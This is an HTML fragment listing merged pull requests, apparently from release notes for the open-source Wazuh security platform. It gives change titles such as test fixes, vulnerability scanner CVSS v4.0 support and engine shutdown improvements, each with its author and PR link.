<li>Remove unused SSL/TLS transport option from cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4314481440" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35648" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35648/hovercard" href="https://github.com/wazuh/wazuh/pull/35648">#35648</a></li>
<li>Fix WUA hotfix collection regression in Windows Agent v5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4318658452" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35662" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35662/hovercard" href="https://github.com/wazuh/wazuh/pull/35662">#35662</a></li>
<li>Handle stop signal during vulnerability feed download by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317318948" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35657" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35657/hovercard" href="https://github.com/wazuh/wazuh/pull/35657">#35657</a></li>
<li>Bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324417355" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35699" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35699/hovercard" href="https://github.com/wazuh/wazuh/pull/35699">#35699</a></li>
<li>Revert "Merge pull request <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324417355" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35699" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35699/hovercard" href="https://github.com/wazuh/wazuh/pull/35699">#35699</a> from wazuh/enhancement/wqa35624-bum… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324443782" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35700" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35700/hovercard" href="https://github.com/wazuh/wazuh/pull/35700">#35700</a></li>
<li>Emit WCS-aligned JSON for agent-start and buffer-status events by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319706922" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35671" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35671/hovercard" href="https://github.com/wazuh/wazuh/pull/35671">#35671</a></li>
<li>Support revert bump by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4318388811" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35660" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35660/hovercard" href="https://github.com/wazuh/wazuh/pull/35660">#35660</a></li>
<li>wazuh-engine: add retention policies for streamlog module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4292217695" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35565" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35565/hovercard" href="https://github.com/wazuh/wazuh/pull/35565">#35565</a></li>
<li>Support revert bump by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335280013" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35714" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35714/hovercard" href="https://github.com/wazuh/wazuh/pull/35714">#35714</a></li>
<li>Merge 4.14.6 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4325552108" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35705" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35705/hovercard" href="https://github.com/wazuh/wazuh/pull/35705">#35705</a></li>
<li>Fix rootcheck and security API IT by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338184224" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35722" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35722/hovercard" href="https://github.com/wazuh/wazuh/pull/35722">#35722</a></li>
<li>Improve Active Response Custom Script Documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338690555" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35723" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35723/hovercard" href="https://github.com/wazuh/wazuh/pull/35723">#35723</a></li>
<li>Update GDPR control mappings in SCA rulesets by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Johnng007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Johnng007">@Johnng007</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334943692" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35711" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35711/hovercard" href="https://github.com/wazuh/wazuh/pull/35711">#35711</a></li>
<li>Fix flaky API IT by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339251474" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35724" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35724/hovercard" href="https://github.com/wazuh/wazuh/pull/35724">#35724</a></li>
<li>Fix agents API IT by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344577663" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35746" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35746/hovercard" href="https://github.com/wazuh/wazuh/pull/35746">#35746</a></li>
<li>wazuh-engine: Improve graceful shutdown (fast shudown) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4295945010" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35585" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35585/hovercard" href="https://github.com/wazuh/wazuh/pull/35585">#35585</a></li>
<li>Remove legacy unclassified category by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286531711" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35542" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35542/hovercard" href="https://github.com/wazuh/wazuh/pull/35542">#35542</a></li>
<li>Fix SCA YAML size drift + missing workflow path triggers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344646559" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35748" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35748/hovercard" href="https://github.com/wazuh/wazuh/pull/35748">#35748</a></li>
<li>Add cluster validations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345665261" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35757" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35757/hovercard" href="https://github.com/wazuh/wazuh/pull/35757">#35757</a></li>
<li>Prevent agent.host.ip from being silently dropped when agent IP is empty by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276470253" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35475" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35475/hovercard" href="https://github.com/wazuh/wazuh/pull/35475">#35475</a></li>
<li>Apply register_configure_agent.sh on reinstall after apt-get remove by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341282464" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35727" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35727/hovercard" href="https://github.com/wazuh/wazuh/pull/35727">#35727</a></li>
<li>Directory layout improvement by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307848342" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35622" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35622/hovercard" href="https://github.com/wazuh/wazuh/pull/35622">#35622</a></li>
<li>Improve message handling robustness in wazuh-remoted by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349723703" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35773" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35773/hovercard" href="https://github.com/wazuh/wazuh/pull/35773">#35773</a></li>
<li>Fix stale generated headers after clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351458041" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35777" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35777/hovercard" href="https://github.com/wazuh/wazuh/pull/35777">#35777</a></li>
<li>Fix agent 5x sends trailing null byte 0 in messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4318176242" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35658" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35658/hovercard" href="https://github.com/wazuh/wazuh/pull/35658">#35658</a></li>
<li>Improve Python security scans - Implementation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jnasselle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jnasselle">@jnasselle</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4315193169" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35653" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35653/hovercard" href="https://github.com/wazuh/wazuh/pull/35653">#35653</a></li>
<li>Skip vdFirst and polling for vdSync when a feedUpdate occurs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261019633" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35421" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35421/hovercard" href="https://github.com/wazuh/wazuh/pull/35421">#35421</a></li>
<li>Fix SCA integration tests flakiness and deadlocks on Windows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4273984675" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35461" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35461/hovercard" href="https://github.com/wazuh/wazuh/pull/35461">#35461</a></li>
<li>Adapt support-new-oss template by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rafabailon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rafabailon">@rafabailon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224695347" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35326" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35326/hovercard" href="https://github.com/wazuh/wazuh/pull/35326">#35326</a></li>
<li>Separate public and private APIs and split OpenAPI specs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306895477" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35614" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35614/hovercard" href="https://github.com/wazuh/wazuh/pull/35614">#35614</a></li>
<li>Update decoders and filters Jschemas by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345798927" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35760" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35760/hovercard" href="https://github.com/wazuh/wazuh/pull/35760">#35760</a></li>
<li>engine: Improve devContainer for e2e by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351235616" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35775" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35775/hovercard" href="https://github.com/wazuh/wazuh/pull/35775">#35775</a></li>
<li>Improve agent name validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358518359" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35833" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35833/hovercard" href="https://github.com/wazuh/wazuh/pull/35833">#35833</a></li>
<li>Don't trigger manager checks in draft PR by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360922677" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35842" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35842/hovercard" href="https://github.com/wazuh/wazuh/pull/35842">#35842</a></li>
<li>Don't trigger the agent's PR checks in drafts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375256502" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35852" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35852/hovercard" href="https://github.com/wazuh/wazuh/pull/35852">#35852</a></li>
<li>Vulnerability scanner -  CVSSV4.0 support. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345773188" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35759" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35759/hovercard" href="https://github.com/wazuh/wazuh/pull/35759">#35759</a></li>
<li>Change VD provider name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377811278" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35863" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35863/hovercard" href="https://github.com/wazuh/wazuh/pull/35863">#35863</a></li>
<li>Send wodle command event in a WCS JSON compatible format. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4325205883" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35703" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35703/hovercard" href="https://github.com/wazuh/wazuh/pull/35703">#35703</a></li>
<li>Validate user name in API by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378688700" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35866" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35866/hovercard" href="https://github.com/wazuh/wazuh/pull/35866">#35866</a></li>
<li>OS_type field addition to db by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356968162" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35794" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35794/hovercard" href="https://github.com/wazuh/wazuh/pull/35794">#35794</a></li>
<li>Preserve manager files during package upgrades by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4295322691" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35580" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35580/hovercard" href="https://github.com/wazuh/wazuh/pull/35580">#35580</a></li>
<li>Add wazuh.event.id to correlate events from a single log by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360297501" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35840" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35840/hovercard" href="https://github.com/wazuh/wazuh/pull/35840">#35840</a></li>
<li>Add workflow_dispatch to engine unit and integration tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386050794" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35892" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35892/hovercard" href="https://github.com/wazuh/wazuh/pull/35892">#35892</a></li>
<li>Fix labels for dedicated arm64 runner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexRuiz7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexRuiz7">@AlexRuiz7</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4389699154" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35920" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35920/hovercard" href="https://github.com/wazuh/wazuh/pull/35920">#35920</a></li>
<li>Add unit tests and a test tool for the Indexer-Connector Module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337266014" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35720" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35720/hovercard" href="https://github.com/wazuh/wazuh/pull/35720">#35720</a></li>
<li>wazuh-engine: Async router worker pool by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378805375" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35868" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35868/hovercard" href="https://github.com/wazuh/wazuh/pull/35868">#35868</a></li>
<li>Solved the deliminer bug in enrich protocol by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400369318" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35972" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35972/hovercard" href="https://github.com/wazuh/wazuh/pull/35972">#35972</a></li>
<li>Improve manual dispatch for it workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400183121" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35971" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35971/hovercard" href="https://github.com/wazuh/wazuh/pull/35971">#35971</a></li>
<li>Enhancement/33940 implement use cases by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4399409414" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35970" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35970/hovercard" href="https://github.com/wazuh/wazuh/pull/35970">#35970</a></li>
<li>Prevent segfault when stopping disabled vulnerability scanner module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419391253" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36011" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36011/hovercard" href="https://github.com/wazuh/wazuh/pull/36011">#36011</a></li>
<li>Graceful termination via cooperative cancellation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392296549" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35953" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35953/hovercard" href="https://github.com/wazuh/wazuh/pull/35953">#35953</a></li>
<li>Fix Coverity findings in SCA, sync protocol, router init, and command cleanup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402971235" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35985" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35985/hovercard" href="https://github.com/wazuh/wazuh/pull/35985">#35985</a></li>
<li>wazuh-engine: Architecture doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4421074691" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36028" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36028/hovercard" href="https://github.com/wazuh/wazuh/pull/36028">#36028</a></li>
